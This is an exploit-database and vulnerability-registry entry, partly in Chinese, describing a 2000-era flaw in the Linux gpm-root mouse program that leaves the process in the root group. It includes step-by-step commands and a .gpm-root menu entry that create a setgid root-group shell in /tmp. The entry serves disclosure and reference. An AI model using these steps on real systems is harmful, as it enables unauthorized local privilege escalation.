https://www.exploit-db.com/exploits/19816
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200003-041

gpmpackage包中的gpm-root存在漏洞，他不能正确降低权限，本地用户可以通过开启gpm-root功能取得权限。

source: http://www.securityfocus.com/bid/1069/info

A vulnerability exists in the gpm-root program, part of the gpm package. This package is used to enable mice on the consoles of many popular Linux distributions. The problem is a design error, caused when a programmer chose to attempt to revert to the running users groups, after having called setuid to the users id already. The setgid call fails, and the process maintains the groups the gpm-root program is running as. This is usually the 'root' group.

This vulnerability requires the user have console access. 

cp /bin/sh /tmp
create a .gpm-root file in ~ with the following:
button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

click control-left mouse button, and click "setgid shell"
execute /tmp/sh

来源:BID
名称:1069
链接:http://www.securityfocus.com/bid/1069
来源:REDHAT
名称:RHSA-2000:045
链接:http://www.redhat.com/support/errata/RHSA-2000-045.html
来源:REDHAT
名称:RHSA-2000:009
链接:http://www.redhat.com/support/errata/RHSA-2000-009.html
来源:SUSE
名称:20000405Securityholeingpm<1.18.1
链接:http://www.novell.com/linux/security/advisories/suse_security_announce_45.html
来源:BUGTRAQ
名称:20000322gpm-root
链接:http://archives.neohapsis.com/archives/bugtraq/2000-03/0242.html